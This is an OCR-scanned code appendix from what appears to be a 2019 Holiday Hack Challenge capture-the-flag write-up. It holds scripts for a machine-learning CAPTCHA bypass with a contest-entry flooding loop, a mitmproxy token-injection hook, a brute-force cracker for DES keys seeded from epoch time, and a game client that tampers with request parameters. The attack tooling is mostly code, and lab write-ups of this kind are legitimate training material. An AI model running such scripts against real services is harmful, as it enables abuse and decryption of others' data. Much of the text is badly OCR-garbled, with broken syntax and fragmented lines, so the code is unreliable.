resized = tf.compat.vl.image.resize bilinear(dims_expander, [input_height, input_ width])
normalized = tf.divide(tf.subtract (resized, [input_mean]), [input_std])

sess_image = tf.compat.vl.Session (config=config)

image = sess_image.run(normalized)

results = sess.run(output_operation.outputs[0], { input_operation.outputs([0]: image })
results = np.squeeze (results

prediction = results.argsort() [-5:]1[::-1][0]

str pred = str(labels[prediction].title())

if str_pred in img types:
print ("\t+++++++++++++ Queue put:"+img_uuid+"-- Prediction:"+str(labels([prediction].title())+"-- Precent:"+str(results[prediction]))
g.put (img_uuid)

def main() :

# Loop until we get the captcha in under 10 seconds
success = False

attempts = 1

while not success and attempts<=25:

DILANE (1 1)
print ("**%**X* Starting ****xl)
DIANL (MR kR \ 1)

tf.compat.vl.disable_eager execution()
final_ answer = ""

# Loading the Trained Machine Learning Model created from running retrain.py on the training images directory
graph = load graph ('C:\\working\\retrain tmp\\output graph.pb')
labels = load labels('C:\\working\\retrain_tmp\\output labels.txt')

# Load up our session

input_operation = graph.get operation_by name ("import/Placeholder")
output_operation = graph.get_operation_ by name ("import/final_ result"
sess = tf.compat.vl.Session(graph=graph,config=config)

# Creating a session to handle cookies
s = requests.Session()
url = "https://fridosleigh.com/"

print ("Sending Request to: ["+url+"]...")
json_resp = json.loads(s.get ("{}api/capteha/request".format (url)) .text)

b64_images = json_resp['images'] # A list of dictionaries eaching containing the keys 'base64' and 'uuid'

challenge image type = json resp['select type'l].split(',') # The Image types the CAPTEHA Challenge is looking for.
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!J-------------------------------------------------------------
' casel = challenge image_ type([0].strip() ‘
case2 = challenge image_ type[l].strip()
case3 = challenge_image_type[Z].replace(' and ','').strip()
challenge_image types = [casel, case2, case3] # cleaning and formatting
print ("Determined the following challenge image types: ["+str(challenge_ image_types)+"]...\n")
threads = []
g = queue.Queue ()
# Start timestamp
dateTimeObjl = datetime.now ()
print ("Starting tensorflow analysis at timestamp: ["+str(dateTimeObjl)+"]")
for i in range(len(b64_images)):
for j in b64_images[i]:
if j == "base64":
img_uuid = b64_images([i] ['uuid']
#predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
image_bytes = base64.b64decode (b64_ images[i] [j])
t = Thread(target=predict image, args=(g, sess, graph, image bytes, img uuid, labels, input_operation, output_operation,
challenge_ image_types),daemon=True)
threads.append (t)
for t in threads:
t.start ()
for t in threads:
t.join ()
# Getting a list of all threads returned results
dateTimeObj2 = datetime.now ()
print ("Completed tensorflow analysis in: ["+str (dateTimeObj2-dateTimeObjl)+"] time\n")
# Create the final comma delimited list of image uuids to send to the server
final answer = ','.join( list(g.queue) )
# This should be JUST a csv list image uuids ML predicted to match the challenge image type
json_resp = json.loads (s.post (" {}api/capteha/submit".format (url), data={'answer':final answer}) .text)
success = True
if not json_resp['request']:
# If it fails just run again. ML might get one wrong occasionally
print ('FAILED MACHINE LEARNING GUESS')
PR (' ——— 3 ————— NNour=ML“Guess: \N———————————————————— \n{}"'.format (final_answer)
[BERENC (' —— 8 ———————————T \nServer Response:\n--------———————————— \n{}"'.format (json_resp['data'])
success = False
attempts = attempts + 1
# Clear variables for next loop iteration
del final answer, g, threads, b64_ images
print ("\n \n")
# End While Loop
print ("CAPTEHA Solved on attempt ["+str(attempts)+"]!")
#
# Submit for Drawing
# If we get to here, we are successful and can submit a bunch of entries till we win
userinfo = {
'name': 'Krampus Hollyfeld',
'email':yourREALemailAddress,
'age':180,
'about':"Cause they're so flippin yummy!",
'favorites':'thickmints'
}
# If we win the once-per minute drawing, it will tell us we were emailed.
# Should be no more than 200 times before we win. If more, somethings wrong.
entry response = ''
entry count = 1
while yourREALemailAddress not in entry response and entry count < 200:
print ('Submitting lots of entries until we win the contest! Entry #{}'.format (entry count))
entry response = s.post("{}api/entry".format (url), data=userinfo).text
entry count += 1
print (entry response)
if _name == "_main_":
main ()
import re
import urllib.parse
import requests
import typing
import base64
import time
from mitmproxy import http
for i in range(30):
response=requests.get ('https://studentportal.elfu.org/validator.php')
r = str(response.text)
(rl,r2) = r.split('_")
dl = str(base64.bb64decode (rl) .decode ("utf-8"))
d2 = str(base64.bbddecode (r2) .decode ("utf-8"))
print (r + "\t" + dl + "\t" + d2)
time.sleep (1)
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Code - Objective 9 - mitmcustom.py
import re
import urllib.parse
import requests
import typing
from mitmproxy import http
# set of SSL/TLS capable hosts
secure_hosts: typing.Set[str] = set()
A

def request (flow: http.HTTPFlow) -> None:
response=requests.get ('https://studentportal.elfu.org/validator.php')
response_bytes = response.text.encode ()
flow.request.content = flow.request.content.replace (b'token=REPLACE', b'token='t+response bytes)

Code - Objective 10 - get_epoch_time.py

from calendar import timegm
import argparse

parser = argparse.ArgumentParser ()

parser.add argument ("--year", help="4 digit Year {2019}", required=True)
parser.add_argument (
parser.add_argument (

-month", help="2 digit Year {12}", required=True)

day", help="2 digit Day {25}", required=True)

parser.add argument ("--hour", help="2 digit hour in military time {19}", required=True)
parser.add_argument ("--minutes", hel 2 digit minutes in military time {00}", required=True)
parser.add_argument ("--seconds", help="2 digit minutes in military time {00}", required=True)
args = parser.parse_args ()

# Note: if you pass in a naive dttm object it's assumed to already be in UTC
def unix_ time (dttm=None) :
if dttm is None:
dttm = datetime.utcnow ()

return timegm(dttm.utctimetuple ())
print ("Unix Epoch UTC timestamp for "+str(args.month)+"/"+str (args.day)+"/"+str (args.year)+"

"+str (args.hour)+":"+str (args.minutes) + +str (args.seconds) +\
" = "+str(unix time (datetime (int (args.year), int(args.month), int(args.day), int(args.hour), int(args.minutes), int (args.seconds)))))

Code - Objective 10 - elfscrow_crack.py

# Program: elfscrow_crack.py
Description: Python implementation to bruteforce weak DES keys in HHC Objective 10
Date: 12/2019

Author: deckerXL

python3 ./elfscrow crack.py --epoch_start=1575658800 --epoch end=1575666000
--encrypted file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideVl.2.pdf.enc

#

#

#

#

#

#

# Examples:
#

#

#

# --plaintext file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideVl.2.pdf --magicbyte sentinel=PDF
#

import sys

from Crypto.Cipher import DES

from Crypto.Cipher import PKCS1_OAEP
import time

import binascii

import argparse

parser = argparse.ArgumentParser ()
parser.add argument ("
parser.add_argument (
parser.add_argument (

—epoch_start", help="Start time in Unix epoch time {}", required=True)

epoch_end", help="End time in Unix epoch time {12}", required=True)

--encrypted file", help="Encrypted file {encrypted.enc}", required=True)
parser.add_argument ("--plaintext file", help="Plaintext filename to output {plaintext.ext}", required=True)
parser.add_argument ("--magicbyte_sentinel", help="String to look for {PDF}", required=True)
parser.add_argument ("--debug", action="store true", help="Enable debugging output")

args = parser.parse_args ()

def gen_key(seed) :

000343£fd"
00269ec3"
val3 00000010"
valéd 00007£££"
val5 = "000000ff"

vall =
val2

Multiply value (214013 int) taken from dissembled code - (01351DC8 | IMUL EAX,EAX, 343FD)

Add value (2531011 int) taken from dissembled code - (01351DCE | ADD EAX,269EC3)

Shift right value (16 int) taken from dissembled code - (01351DDD | SAR EAX,10

AND value (0111 1111 1111 1111i binary) taken from dissembled code - (01351DEO | AND EAX, 7FFF)
Keep the low order byte - build key byte by byte with these - (01351E3F | AND ECX,0FF)

B

if args.debug:
print ("Vall Hex str(format (int (vall,16), '#010x"))+" ))
print ("Val2 Hex str(format (int (val2,16), "'#010x"))+" str(int(val2,16)))
print ("Val3 Hex str (format (int (val3,16), "#010x")) +" str(int(val3,16)))
print ("Val4 Hex:"+str (format (int (valé4,16),'#010x"))+" = Int:"+str(int(val4,16)))

str(int(vall,l6

if args.debug:
print ("Seed: "+str (seed))

# The initial value for state is the seed
state = seed

key = "V
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for i in range(0,8):

# Step 1 - Multiply vall with the current state value
stepl = state * int(vall,16
if args.debug:
print ("Stepl state*vall: "+str (format (int (str(stepl),16),'#010x")))

# Step 2 - Add val2 to the current state value
step2 = stepl + int(val2,16
if args.debug:
print ("Step2 stepl+val2: "+str (format (int (str (step2),16), '#010x")))

# Save State - this now becomes the saved state value for the next iteration of the loop
state = step2
if args.debug:

print ("Save State: "+str (format (int (str(state),16), "'#010x")))

# Step 3 - Do a bitwise shift right 16 bits
step3 = step2>>16
if args.debug:
print ("Step3 step2>>16: "+str(format (int (str(step3),16),'#010x")))

# Step 4 - Do a bitwise AND with val4d
step4 = step3 & int(val4,16
if args.debug:
print ("Step4 step3&vald: "+str (format (int (str (stepd),16), '#010x")))

# Step 5 - Do a bitwise AND with val5 - this will retain the least significant/low-order byte
1sb = hex(int (step4) & int(val5,16))
if args.debug:

print ("Key:"+str (format (int (step4), '#010x'))+" -- Least Significant Byte:"+str (lsb))

# Concatenate this least significant byte to become part of the key
key = key + str(format (int(lsb,16),'02x"))

stepl = step2 = step3 = step4 = 1lsb = 0

if args.debug:
print ("Key: "+key)

return key

#

# Main

#

start seed = int(args.epoch_start)
end_seed = int (args.epoch_end)
infile = args.encrypted file

outfile = args.plaintext file

ciphertext = open(infile, "rb").read()
cipher len = len(ciphertext)
if cipﬁerilen %8 !=0:
for i in range(0, 8 -cipher len%8):
ciphertext += " "

#iv = str(bytearray(8))
iv = bytearray(8)

plaintext = ""

found = False

for s in range (start seed,end_seed+1l):
key_hex = gen_key(s)

if args.debug:
print ("Seed: "+str(s)+" -- Key: "+str(key_hex))

key = binascii.unhexlify(key hex)
cipher = DES.new(key, DES.MODE_CBC, iv)
plaintext = cipher.decrypt (ciphertext)
plaintext_header = plaintext[0:8]

print ("Seed:"+str(s)+" -- Key: "+str(key_hex)+" -- Bytes: ["+str(plaintext_header)+"]")

filetype = plaintext header.find(args.magicbyte sentinel.encode ())
if filetype > 0:

print ("\nFOUND IT! - Seed:"+str(s)+" -- Key: "+str(key hex)+" -- Bytes: ["+str(plaintext header)+"]\n")
found = True
break
if found:
print ("Writing plaintext output ["+args.plaintext file+"]")
f = open(outfile, "wb")
f.write (plaintext)
f.close()
e i5Er

print ("ERROR: Did not find a key that decrypted ciphertext to magic bytes.")
sys.exit (1)

sys.exit (0)
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Code - Achievement - Holiday Hack Trail - hht.py
# Program: hht.py
#
# Description: Python client to play the SANS Holiday Hack Trail online game. Incorporates cheat codes!
#
# Date: 12/2019
#
# Author: deckerXL
#
# Examples:
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=1 --extrarunners=1
# --extrafood=5 --extrameds=2 --extraammo=5 --proxy --proxy host=127.0.0.1 --proxy port=8080
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=0 --extrarunners=0
# --extrafood=0 --extrameds=0 --extraammo=25 --invulnerability --proxy --proxy host=127.0.0.1 --proxy port=8080
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=easy --pace=2 --extrareindeer=0 --extrarunners=0
# --extrafood=10 --extrameds=10 --extraammo=20 --allmax --proxy --proxy host=127.0.0.1 --proxy port=8080
#
# Don't forget to check out all the CHEAT CODE options below!
import sys
import re
import random
import statistics
import argparse
import requests
requests.packages.urllib3.disable_warnings ()
parser = argparse.ArgumentParser (
parser.add_argument ("--playerid", help="Set PlayerTd to send to the server", required=True)
parser.add argument ("--difficulty", help="Set difficulty level {easy, medium, hard}", required=True)
parser.add_argument ("--pace", help="Set pace level {0, 1, 2}", required=True)
parser.add_argument ("--extrareindeer", help="Number of extra reindeer to buy {0-9}", required=True)
parser.add argument ("--extrarunners", help="Number of extra runners to buy {0-9}", required=True)
parser.add argument ("--extrafood", help="Amount of extra food to buy {0-1000}", required=True)
parser.add_argument ("--extrameds", help="Amount of extra meds to buy {0-100}", required=True)
parser.add_argument ("--extraammo", help="Amount of extra ammo to buy {0-100}", required=True)
parser.add_argument ("--proxy", action="store_true", help="Use proxy - proxy host/port values are in the code")
parser.add_argument ("--proxy host", help="Set proxy host - set in conjunction with --proxy")
parser.add argument ("--proxy_port", help="Set proxy port - set in conjunction with --proxy")
parser.add argument ("--debug", action="store true", help="Enable debugging output"
parser.add argument ("--invulnerability"”, action="store true", help="!!!CHEAT CODES!!! - Activate Invulnerability")
parser.add argument ("--lightspeed", action="store true", help="!!!CHEAT CODES!!! - Activate Lightspeed - only works in easy or medium mode")
parser.add argument ("--maxammo", action="store_ true", help="!!!CHEAT CODES!!! - Activate Unlimited Ammo - only works in easy or medium mode")
parser.add_argument ("--maxmeds", action="store_ true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode")
parser.add_argument ("--maxfood", action="store_ true", help="!!!CHEAT CODES!!! - Activate Unlimited Food - only works in easy or medium mode")
parser.add argument ("--maxreindeer", action="store_ true", help="!!!CHEAT CODES!!! - Activate Unlimited Reindeer - only works in easy or medium mode")
parser.add_argument ("--maxrunners", action="store true", help="!!!CHEAT CODES!!! - Activate Unlimited Runners - only works in easy or medium mode")
parser.add argument ("--maxmoney", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Money - only works in easy or medium mode")
parser.add argument ("--maxall", action="store true", help="!!!CHEAT CODES!!! - Activate Unlimited ALL - only works in easy or medium mode")
args = parser.parse_args()
hhc_host = "https://trail.elfu.org"
hhc_gameselect _url "https://trail.elfu.org/gameselect/"
hhc_store url "https://trail.elfu.org/store/"
hhc_trail url "https://trail.elfu.org/trail/"
max distance 8000
river = [ 'ferry', 'ford', 'caulk' ]
min_ferry threshold 150
pace_names [ 'Steady', 'Strenuous', 'Grueling' ]
difficulty level = [ 'Easy', 'Medium', 'Hard']
proxy host = "127.0.0.1"
proxy port = "8080"
if len(args.proxy host) > 0:
proxy_host = str(args.proxy_host) [0:15]
if len(args.proxy _port) > 0:
proxy port = str(args.proxy port) [0:5]
playerid arg = str(args.playerid[0:25])
difficulty arg = re.sub ("\W","",str(args.difficulty) [0:6].lower()) .capitalize ()
pace_arg = int(re.sub("\D","",str (args.pace)))
extrareindeer_arg = int(re.sub("\D","",str (args.extrareindeer)))
extrarunners_arg = int (re.sub ("\D","",str (args.extrarunners)))
extrafood arg = int (re.sub("\D","",str(args.extrafood))
extrameds_arg = int(re.sub("\D","",str (args.extrameds) )
extraammo_arg = int (re.sub("\D","",str (args.extraammo) )
player_id = playerid arg
userser name = playerid arg
if pace_arg>=0 and pace_arg<=2:
pace = str(pace_arg)
Efsel
print ("\n*** ERROR: ["+str(pace_arg)+"] is not a valid pace setting - must be number between 0-2\n"
sys.exit (1)
if extrareindeer arg>=0 and extrareindeer_ arg<=9:
reindeerqgty = str(extrareindeer_ arg)
else:
print ("\n*** ERROR: ["+str (extrareindeer arg)+"] is not a valid extrareindeer setting - must be number between 0-9\n"
sys.exit (1)
if extrarunners_arg>=0 and extrarunners_ arg<=9:
runnerqty = str(extrarunners_arg)
(= =
print ("\n*** ERROR: ["+str (extrarunners_arg)+"] is not a valid extrarunners setting - must be number between 0-9\n"
sys.exit (1)
if extrafood_arg>=0 and extrafood arg<=1000:
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'F foodqgty = str (extrafood arg)

elsek
print ("\n*** ERROR: ["+str (extrafood arg)+"] is not a valid extrafood setting - must be number between 0-1000\n")
sys.exit (1)

if extrameds_arg>=0 and extrameds_arg<=100:
medsqgty = str(extrameds_arg)

elisel
print ("\n*** ERROR: ["+str (extrameds_arg)+"] is not a valid extrameds setting - must be number between 0-100\n")
sys.exit (1)

if extraammo_arg>=0 and extraammo_arg<=100:
ammogty = str (extraammo_arg)

eilisel
print ("\n*** ERROR: ["+str (extraammo arg)+"] is not a valid extraammo setting - must be number between 0-100\n")
sys.exit (1)
if difficulty arg == "Hard" and args.lightspeed:
print ("\n*** ERROR: You cannot use lightspeed cheat code with 'hard' difficulty\n")
parser.print_help ()
sys.exit (1)
if difficulty arg == "Hard" and args.maxall:

print ("\n*** ERROR: You cannot use maxall cheat code with 'hard' difficulty\n")
parser.print_help()
sys.exit (1)

if args.maxall:
args.maxammo = args.maxfood = args.maxmeds = args.maxmoney = args.maxreindeer = args.maxrunners = True

if difficulty arg == "Hard" and args.maxammo:
print ("\n*** ERROR: You cannot use maxammo cheat code with 'hard' difficulty\n")
parser.print_help()
sys.exit (1)

if difficulty arg == "Hard" and args.maxmeds:
print ("\n*** ERROR: You cannot use maxmeds cheat code with 'hard' difficulty\n")
parser.print_help ()
sys.exit (1)

if difficulty_arg == "Hard" and args.maxfood:
print ("\n*** ERROR: You cannot use maxfood cheat code with 'hard' difficulty\n")
parser.print_help ()
sys.exit (1)

if difficulty arg == "Hard" and args.maxreindeer:
print ("\n*** ERROR: You cannot use maxreindeer cheat code with 'hard' difficulty\n")
parser.print_help()
sys.exit (1)

if difficulty arg == "Hard" and args.maxrunners:
print ("\n*** ERROR: You cannot use maxrunners cheat code with 'hard' difficulty\n")
parser.print_help ()
sys.exit (1)

if difficulty arg == "Hard" and args.maxmoney:
print ("\n*** ERROR: You cannot use maxmoney cheat code with 'hard' difficulty\n")
parser.print_help()
sys.exit (1)

#
# Proxy support - great for Burp!
#
if args.proxy:
proxies = {
"http": "http://"+proxy host+":"+proxy port,
"https": "http://"+proxy host+":"+proxy port
}

elgze
proxies = {}
#
# Explicitly set all our headers for each page
#

gameselect headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_ 64; rv:71.0) Gecko/20100101 Firefox/71.0°',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': 'en-US,en;qg=0.5"',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1'

}

store_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;gq=0.8",
'Accept-Language': 'en-US,en;qg=0.5",
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': hhc_host,
'Referer': hhc gameselect_url,
'Upgrade-Insecure-Requests': 'l'

}

trail_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_ 64; rv:71.0) Gecko/20100101 Firefox/71.0"',
'Accept': 'text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q9=0.8",
'Accept-Language': 'en-US,en;q=0.5"',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': hhc_host,
'Referer': hhc_store_url,
'Upgrade-Insecure-Requests': '1l'
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# Setup defaults which are dependent on difficultly level
#

if difficulty arg == "Easy":
difficulty = "0O"
money = "5000"
distance = "o"
curmonth = """
curday = "1"
reindeer = "2"
runners = "2"
ammo = "100"
meds = W2EW
food = "400"

elif difficulty arg "Medium" :
difficulty = "1"
money = "3000"
distance = "o"
curmonth = W
curday ="l
reindeer S 2
runners =g
ammo = 250"
meds = "10"
food = "200"

elif difficulty arg == "Hard":
difficulty = "2"
money = "1500"
distance = [N
curmonth = "o&
curday = "1"
reindeer = "2"
runners = "2"
ammo =_r0"
meds = M
food = 100"

elgze
print ("\n*** ERROR: ["+difficulty arg+"] is not a valid difficulty setting\n")
parser.print_help ()
sys.exit (1)

#

# Setup other defaults - same for all difficulty levels

#

reindeerprice = "500"

runnerprice = "200"

foodprice = o

medsprice = "50"

ammoprice = "20"

submit = "Buy"

action = "go"

name0 = "Ruth"

healthO = "100"

cond0 = "o"

cause0 =_""

deathday0 = "o"

deathmonth0 = "o"

namel = "Mildred"

healthl = "100"

condl = 0N

causel ="

deathdayl = "o"

deathmonthl = "07

name2 = "Mathias"

health2 = "100"

cond2 =atO

cause2 = "

deathday?2 = "o"

deathmonth2 = "o"

name3 = "John"

health3 = "100"

cond3 = "o

cause3 = ™

deathday3 = "o"

deathmonth3 S

hash = "HASH"

#

# Finances Check

#

reindeercost = str(int (reindeerqgty)
if int(reindeercost) <= int (money):
money = str(int (money) -

* int (reindeerprice))
(int (reindeerqty) * int(reindeerprice)))
else:

print ("\n*** ERROR: ["+str (reindeerqty)+"
["+str (money)+"] money remaining\n")

sys.exit (1)

extra reindeer at price

runnercost = str(int(runnerqgty) * int (runnerprice))
if int (runnercost) <= int (money) :
money = str(int (money) - (int(runnergty) * int(runnerprice)))
elisel
print ("\n*** ERROR: ["+str (runnerqty)+"
["+str (money)+"] money remaining\n"

sys.exit (1)

extra runners at price

foodcost = str(int(foodgty) * int (foodprice))
if int(foodcost) <= int (money) :
money = str(int (money) - (int(foodgty) * int (foodprice)))
else:
print ("\n*** ERROR:
money remaining\n")

sys.exit (1)

["+str(foodgty) +"] extra food at price ["+str(foodprice)+"

medscost = str(int (medsqty) * int (medsprice))

["+str(reindeerprice)+"] is

["+str (runnerprice)+"] is

is

["+str (foodcost) +"

["+str (runnercost) +"

["+str (reindeercost) +"

which exceeds

which exceeds

which exceeds

["+str (money) +"]
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money = str(int (money) - (int (medsqty) * int (medsprice)))
elgze
print ("\n*** ERROR: ["+str (medsqty)+"] extra meds at price ["+str (medsprice)+"] is ["+str(medscost)+"] which exceeds ["+str (money)+"
money remaining\n")
sys.exit (1)

ammocost = str(int (ammoqgty) * int (ammoprice))
if int (ammocost) <= int (money) :

money = str(int(money) - (int(ammogty) * int (ammoprice)))
elisel

print ("\n*** ERROR: ["+str (ammogty)+"] extra ammo at price ["+str (ammoprice)+"] is ["+str (ammocost)+"] which exceeds ["+str (money)+"
money remaining\n")
sys.exit (1)

#
# httpGet
#

#

#

#

def httpGet (url,p,h):

try:
r =

)
except Excepti

requests.get (url,
proxies=proxies,
headers=h,
params=p,
verify=False

on as e:

print ("ERROR: HTTP Error Occurred: ["t+str(e)+"]")
sys.exit (1)
return r
#
# httpPost
#

try:
r =

except Excepti
prin

def httpPost (url,cookie,d, h):

requests.post (url,
proxies=proxies,
headers=h,
cookies=cookie,
data=d,
verify=False

on as e:
t ("ERROR: HTTP Error Occurred: ["+str(e)+"]")

sys.exit (1)

return r

# Extract Party Progress from HTTP Response

# Start with p
start_sentinel
end_sentinel

il = t.find(st
12 = 1.+400
status_section

status_section
status_section
status_section
status_section
status_section
status_section
status_section
status_section
status_section
status_section

status_section
status_section
status_section
status_section

status_section
status_section
status_section
status_section
status_section
status_section

status_section =

status_section
status_section

if args.debug:

def get_party progress(t):

rogress object. No good end sentinel, so jumping 400 characters
= '<table id="progress">'

art_sentinel)+len(start_sentinel)
=me L IReEt |

= status_section.replace('<b>',"")

= status_section.replace('</b>',"|")
= status_section.replace('<tr>',"")

= status_section‘replace('</tr>',"\")
= status_section.replace('<td>',"\")
= status_section.replace('</td>',"|")
= status_section.replace('<option>',"")

= status_section.replace('</option>',"|")
= status_section.replace('<select>',"")

= status_section.replace('</select>',"|")

# Missing close tag is forcing this asymmetry

= re.sub(r'\s+',' ', status_section)
= re.sub(r'\|\s+','|',status_section)
= re.sub(r'\s+\|','|', status_section)
= re.sub(r'\|+','|', status_section)

= re.sub('<select name="pace" class="pace">','', status_section)

= re.sub('</table> <!-- <table id="displayWindow" class="noborder">','', status_section)
= re.sub('<option value="0">Steady','', status_section)

= re.sub('<option value="1">Strenuous','',6 status_section)

= re.sub('<option value="2">Grueling','', status_section)

= re.sub(r'<option value="." selected>','', status_section)

status_section.strip()
= re.sub(r' "\ |+ ',status_section)
= re.sub(r"\|+S" ', status_section)

print ("Status Section: ["+status_section+"]")

return status_section

# Extract Status Container from HTTP Response

def get_status_container(t):

# Get statusContainer object

start_sentinel
end sentinel

= '<div id="statusContainer">'
= '<footer id="footer"></footer>'

il = t.find(start_sentinel)+len(start_sentinel)
i2 = t.find(end sentinel)
status_container = t[il:i2]

I | |
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status_container = status_container.replace('<div>',6"")
status_container = status_container.replace('</div>',"|")
status_container = status_container.replace ('<form>',6"")
status_container = status_container.replace ('</form>',6"|")
status_container = status_container.replace('<br>',"")
status_container = status_container.replace('</br>',"|")

status_container = status_container.replace (' <input type="hidden" name=""','')
status_container = re.sub('" class=".*" value="','\',status_container)
status_container = re.sub('">','|', status_container)

status_container = status_container.replace("\n","")

status_container = status_container.strip()
status_container = re.sub(r'~\|+','', status_container)
status_container = re.sub(r'\|+$','' status_container)

# Fix rare bug where server decremented reindeer value to negative number - reset negative to 0
status_container = re.sub(r'reindeer\|-\d+\|', 'reindeer|0|',status_container)

status_container = re.sub(r'runners\|-\d+\|', 'runners|0|',status_container)

if args.debug:
print ("Status Container: ["+status_container+"]")

return status_container

#
# Extract Status Messages from HTTP Response

def get_status_messages(t):

# Start with inventory table object
start_sentinel = '<table id="inventory"'
end_sentinel = '<footer id="footer"></footer>'

il = t.find(start_sentinel)+len(start_sentinel)
i2 = t.find(end_sentinel)
status_messages = t[i1:i2]

start_sentinel = '</td></tr></table>'
il = status_messages.find(start_sentinel)+len(start_sentinel)
status_messages = status_messages[il:]

status_messages = status_messages.replace('<b>',"")
status_messages = status_messages.replace('</b>',"|")
status_messages = status_messages.replace ('<br>',"")
status_messages = status_messages.replace ('</br>',"|")
status_messages = status_messages.replace('<p>',"")
status_messages = status_messages.replace('</p>',"|")
status_messages = status_messages.replace('<div>',"")
status_messages = status_messages.replace('</div>',"\")

status_messages = status_messages.replace('(The overall distance remaining is shown in the top-left.)','

if args.invulnerability:
status_messages = status_messages.replace('You have no food. Your party is starving.',' ')

status_messages = re.sub(r'\s+',"' ', status_messages)
status_messages = re.sub(r'\|\s+','|',6 status_messages)

status_messages = re.sub(r'\s+\|','|',6status_messages)
status_messages = re.sub(r'\|+','|',6 status_messages)

status_messages = status_messages.strip()
status_messages = re.sub(r'~\|+','',6 status messages)
status_messages = re.sub(r'\|+$','', status_messages)

if args.debug:
print ("Status Messages: ["t+status_messages+"]")

return status_messages

#
# Extract Trade Offer Details from HTTP Response
#
def get trade offer(t):

# Start with inventory table object
start_sentinel = 'If you accept the trade, click Trade. Anything else will cancel.'
end_sentinel =

il = t.find(start_sentinel)+len(start_sentinel)
i2 = 11+300
trade offer = t[il1l:i2]

trade offer = re.sub(r'\s+',' ' 6 trade offer)
trade_offer = trade_offer.replace('<br>',"")
trade_offer = trade_offer.replace('</br>',"|")

trade offer = trade offer.replace('<input type="hidden" name=""','|")
trade offer = trade offer.replace('" value=', '|'")

trade_offer = trade offer.replace('> [', '|")

trade_offer = re.sub(r'>.*','', trade_offer)

trade offer = trade_offer.strip()
trade offer = re.sub(r'A\\+',",trade_offer)
trade offer = re.sub(r'\|+$','' 6 trade offer)

return trade_offer

#
# Extract JOURNEY END Data from Victory Page
#
def get_journeyend data(t):

# No need to parse inventory table since this data is already obtained from the statusContainer, so skipping below it

)
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#

# Start with the p.
start_sentinel = '
end_sentinel ="

age container object
<div id="page-container"><p>'
<footer id="footer"></footer>'

il = t.find(start_sentinel)+len(start_sentinel)

i2 = t.find(end_se

journeyend_section =

journeyend_section
journeyend section
journeyend_section
journeyend_section
journeyend section
journeyend_section
journeyend_section
journeyend section
journeyend_section
journeyend_section
journeyend section
journeyend section
journeyend_section
journeyend section
journeyend section
journeyend_section
journeyend section
journeyend section
journeyend_section
journeyend section
journeyend section

journeyend_section =

journeyend section
journeyend_section
journeyend_section
journeyend section

journeyend_section
journeyend section
journeyend_section
journeyend_section

journeyend_section

return journeyend :

ntinel)

e i 2 ]

= journeyend section.replace("\n","")

= journeyend section.replace('<p>',"")

= journeyend section.replace('</p>',"|")

= journeyend section.replace('<li>',"")

= journeyend section.replace('</1i>',"|")

= journeyend section.replace('<ul>',"")

= journeyend section.replace('</ul>',"|")

= journeyend section.replace ('<font color="#038ea5">"',"|")
= journeyend section.replace ('<font color="#9ea022">',"|")
= journeyend section.replace('<b>',"")

= journeyend section.replace('</b>',"|")

= journeyend section.replace ('<script>',"")

= journeyend section.replace ('</script>',"|")
= journeyend section.replace('<a>',"")

= journeyend section.replace('</a>',"|")

= journeyend section.replace('<div>',"")

= journeyend section.replace ('</div>',"|")

= journeyend section.replace('<br>',"")

= journeyend section.replace('</br>',"|")

= journeyend section.replace ('<font>',"")

= journeyend section.replace ('</font>',"")

journeyend_section.replace ('<script src="/conduit.js">',"")

= journeyend section.replace('<img src="art/pieces/header.png" alt="header">',"")

= journeyend section.replace('<ul style=\'list-style-type: none; padding: Opx; text-align: left;\'>',"")
= journeyend section.replace('<a href=\'/\'>',"")

= journeyend section.replace('Start over?',"")

= re.sub(r'\s+',' ',journeyend section)
= re.sub(r'\|\s+','|',journeyend section)
= re.sub(r'\s+\|','|',journeyend section)
= re.sub(r'\[+"',"'|',journeyend section)

= journeyend section[:-1].strip()

section

# Print Status

def print_status(sc,sm,a,p,tf):

#

if a == "trade": a

difficulty stat =
action_stat
pace_stat
remaining stat
gamedate_stat
money_stat
reindeer_stat
runners_stat
ammo_stat
meds_stat

food stat
health_stat

print ("STATUS - [

money_stat+"]

if len(sm) == 0:
sm = "No
["+sm+"

print ("\t

= a+"="+tf

difficulty level[int(sc[1])]
= a.upper () .rjust (14)
= p.upper () .rjust(8)
"Dist/Left:"+str('{:04}'.format (int(sc[5])))+"/"+str('{:04}"'.format (max distance-int(sc[5])))
= "Date:"+str('{:02}'.format (int(sc[7])))+"/"+str('{:02}"'.format (int(str(sc[9]))))
= "Money:"+str('{:04}'.format (int(sc[3])))
= "Reindr:"+str('{:02}"'.format (int (sc[59])))
"Runrs:"+str('{:02}"'.format (int(sc[61])))
= "Ammo:"+str('{:03}'.format (int (sc[63]))
"Meds:"+str('{:03}'.format (int (sc[65]))
= "Food:"+str('{:03}'.format (int(sc[67]))
= "Heath:"+str('{:03}'.format (int (sc[13])))+"/"+str('{:03}'.format (int(sc[25])))+"/"+\
str('{:03}"'.format (int(sc[37])))+"/"+str('{:03}'.format (int(sc[49])))

)
)
)
)

"t+action stat+"] ["+difficulty stat+"
["+reindeer_ stat+"

["+pace_stat+"]
["+runners_stat+"] ["+ammo_stat+"

["+remaining stat+"] ["+gamedate stat+"] ["+
["+meds_stat+"] ["+food_stat+"] ["+health stat+"]")

Updates"
1\n")

